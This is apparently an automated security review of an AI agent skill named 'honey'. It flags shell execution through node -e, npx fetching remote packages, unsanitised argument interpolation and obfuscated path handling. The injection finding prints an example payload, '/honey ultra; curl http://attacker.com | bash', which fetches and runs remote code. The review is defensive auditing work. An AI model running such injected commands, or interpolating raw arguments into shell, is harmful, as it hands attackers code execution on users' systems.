The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides explicit instructions for the agent to execute a shell command using node -e to persist state settings when a user invokes the /honey command. This involves executing a local script (honey-state.js) via a Node.js wrapper.
[REMOTE_CODE_EXECUTION]: The instructions recommend using npx pxpipe-proxy for processing large files. npx downloads and executes packages from the npm registry at runtime, which is a significant vector for remote code execution if the package source is not strictly verified.
[PROMPT_INJECTION]: The toggling mechanism directly interpolates the $ARGUMENTS variable into a shell command. There are no instructions for the agent to sanitize or validate these arguments, creating a risk where a user could inject malicious shell metacharacters or additional commands (e.g., /honey ultra; curl http://attacker.com | bash).
[EXTERNAL_DOWNLOADS]: The skill refers to an external serialization format and repository (github.com/Green-PT/honey-eson) and suggests the use of external Node.js utilities that are not part of the standard environment.
[COMMAND_EXECUTION]: The skill uses String.fromCharCode(92) to represent a backslash in its recommended shell command, which serves to obfuscate path manipulation within the instruction set.

honey